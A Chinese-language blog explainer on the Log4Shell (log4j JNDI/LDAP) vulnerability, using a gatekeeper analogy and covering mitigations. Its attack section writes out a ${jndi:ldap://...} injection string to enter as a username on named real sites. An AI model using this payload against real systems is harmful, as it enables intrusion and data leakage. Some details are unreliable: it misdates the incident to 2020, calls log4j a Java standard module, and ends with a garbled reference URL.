2020 年的12月，势必成为各个互联网公司年度最深刻的记忆。
在 12 月初，爆出了一个核弹级的系统漏洞，导致众多互联网公司内部服务器被发现，劫持，甚至植入程序。
尽管目前已经出台了修复补丁，但这个出现在最基础的应用最广泛的模块 log4j 上的漏洞还是让我们心有余悸。
为什么这么就没有被发现，为什么这个漏洞如此严重，这个漏洞到底是怎么回事?……
什么样的漏洞
log4j[1] 是 Java 标准库的模块，主要负责记录各种日志，和 Python 中的 logging[2] 类似。
log4j 功能强大，可以支持各种场景的日志记录需求，比如将日志输出到终端，将日志记录到文件，或者发送到日志服务器等等，可以说但凡需要记录日志的地方，log4j 是最佳选择。
正是由于这一点，log4j 才成为最常用的模块，加上互联网公司的基础设施都是由 java 构建的，所以 log4j 深入到每个公司的角角落落。
log4j 就像一个兢兢业业，任劳任怨的门卫老大爷，一丝不苟的记录着各种来访信息，以便系统排查问题。
为什么这样一个普通的，不起眼的模块会爆出一个惊天漏洞呢?
为了说明这个情况，我借鉴 少数派 PlatyHsu 的比喻[3]做讲解，即使你不会编程，不懂技术也可以理解。
门卫
前面我们说 log4j 是一个日志模块，就像一个门卫老大爷，凡是进入里面的人，都需要在门卫处登记一下。
注意这里的登记不是验证，只是简单的记录一下，比如谁，什么时候，什么目的等等，将这些信息记录到日志里。
我们经常看到的 Web 系统的访问日志，就是这个模块负责产生的。
本来一切正常，但是在一些对性能要求很高的系统中，为了不让日志记录占用太多的时间(毕竟，停下来被询问也是需要时间的)，日志模块里增加了一个事后处理的功能。
也就是说当访问者很着急时，只要留下一个电话，让门卫之后去询问就好了。
这个设计有诸多好处，类似于异步处理，将记录日志的过程分离出去，异步处理，这样就不会影响主要流程的执行了。
但是，问题也是出在这里的。
诈骗电话
一些别有用心的人，就利用预留电话的机制，留下了诈骗电话。
当日志处理模块，事后整理日志时，发现有一行写了打电话询问，于是就拨打了留下的电话，然后电话那头说，恭喜你中奖了，奖品是一部手机，只要提供地址信息就可以免费邮寄过来，等等
这个日志模块在完全不知情的情况下，就泄露了企业内部的信息，这些信息包括收件人，内部电话等等。
你可能会奇怪，为什么需要日志模块拨打电话呢?到底是怎么拨打的电话，这里稍作展开一下。
日志模块不是真的去拨打电话，而是日志记录的机制中允许使用模板。
就像 Python 里的字符串模板一样，在合成字符串时，可以用占位符代替实际内容，根据实际情况做出填充例如：
- strTemp = "Hello {name}"
- print(strTemp.format(name= 'Lily'))
- # 结果为：Hello Lily
log4j 为了灵活，使用一个叫 JNDI[4](Java Naming and Directory Interface)的目录查询方法，这个方法可以支持 LDAP[5](轻型目录访问协议，Lightweight Directory Access Protocol)协议，对网络上的轻型目标进行查询。
LDAP 的格式为:
ldap://ldap.example.com/cn=John%20Appleseed
意思是向 ldap.example.com 发送一个请求，查询名为 John Appleseed 这个人的信息。
重点来了：
LDAP 协议是可以进行网络访问的
到这里我们就会发现，当处理日志的程序，执行到需要替换日志模板的语句时，恰巧有时需要通过 LDAP 协议获取信息的情况下，就会去访问这个地址。
如果别有用心者，将这个地址作为一个陷阱，或者作为一个木马程序的下载地址，就可以在服务器毫不知情的情况下，在暴漏服务器内部信息，甚至下载木马程序到服务器上。
之前的很多报道已经指出，黑客利用这个漏洞，在服务器上安装了挖矿程序。
如何实施
对于普通大众来说，系统漏洞离我们很远，即使知道这样的漏洞存在，也不知如何发挥作用，也是因为这个原因，导致很多人对漏洞信息不敏感，以为自己不知道如何使用，别人也就不知道，这样的想法会让自己常常处于危险之中。
log4Shell 漏洞，实施起来简单地让人难以置信，甚至不需要使用什么攻击工具，只需要在平台的登录页面，填写一个特别的用户名即可。
例如在苹果网站上，将用户名写成类似这样的 ${jndi:ldap://ldap.example.com/a} 形式：
苹果
当然 ldap 网站需要自己设置或者使用一个可以提供记录访问者信息的服务，就能看到苹果内部的服务器信息了。
这里还有对 QQ 邮箱的攻击示例：
QQ邮箱
只要在能访问系统的地方，加上特殊的注入语句，就可以实施攻击了，所以对漏洞的攻击，并没有想象中那么复杂，因此在发现漏洞时，要及时打补丁做补救，而不能因为自己不知如何实施而放之不管。
如何消除
当我们了解了整个过程，对于如何防止就很清晰了，如果这个漏洞没有被及时修复，也可以采取一些措施防止信息泄露。
最容易想到的是防止系统对不了解的外网进行访问。
就像给内部电话限制拨打长途一样，对于超出范围的呼叫做出限制。
第二可以通过参数设置禁止系统的中的 JNDI 通信协议，就是让日志模块中的 JNDI 失效。
还有就是下载补丁，修补漏洞。
给我们的启示
漏洞修补很容易，但是造成这个漏洞的根源却难以消除。
我们总是在易用性和安全性之间找到一个平衡点，而增加易用性和功能性的同时，会引入更多的不确定性，特别是当依赖层级加大，大量的间接依赖会使问题的复杂程度超出我们的想象。
log4Shell 因为其巨大的破坏性，一经发现，就被及时处理了，但可能还存在这样那样的依赖导致的问题，继续存在。
因此我们在做系统扩展功能的时候，要特别注意因为依赖而导致的系统问题，很多时候命名觉得无关紧要的边缘的功能，却成了漏洞躲藏的绝佳场所。
总结
没有一个纯净的环境，完美的世界，log4Shell 漏洞让我更清楚地看到这个世界的真实 —— 漏洞无处不在!
我们能做的就是要提供防护意识，像预防新冠病毒一样做好防护，不迷信，不谣传，也不大意和忽视。
可能我们平时写的代码效用有限，如果没有防护和安全意识，就像裸奔一样。
几年前笔者在 github 上发布一段代码示例时，误将实际环境的配置信息上传了上去，过来一周左右，意识到问题时，服务器已经被人注入了挖矿程序!
很难想象一个默默无闻的更新会被人注意且利用了，所以防护意识是我们畅游于网络的护身符。
比心!
很难想象一个默默无闻的更新会被人注意且利用了，所以防护意识是我们畅游于网络的护身符。
比心!
参考资料
[1]log4j: https://logging.apache.org/log4j/2.x/
[2]logging: https://docs.python.org/zh-cn/3/library/logging.html
[3]少数派 PlatyHsu 的比喻: https://sspai.com/post/70394
[4]JNDI: https://baike.baidu.com/item/JNDI/3792442
[5]LDAP:https://baike.baidu.com/item/%E8%BD%BB%E5%9E%8B%E7%9B%AE%E5%BD%95%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AEDFDFDFDFDFDFDFDFDFDFDFDFDFDFDFDFT56666666666666666666
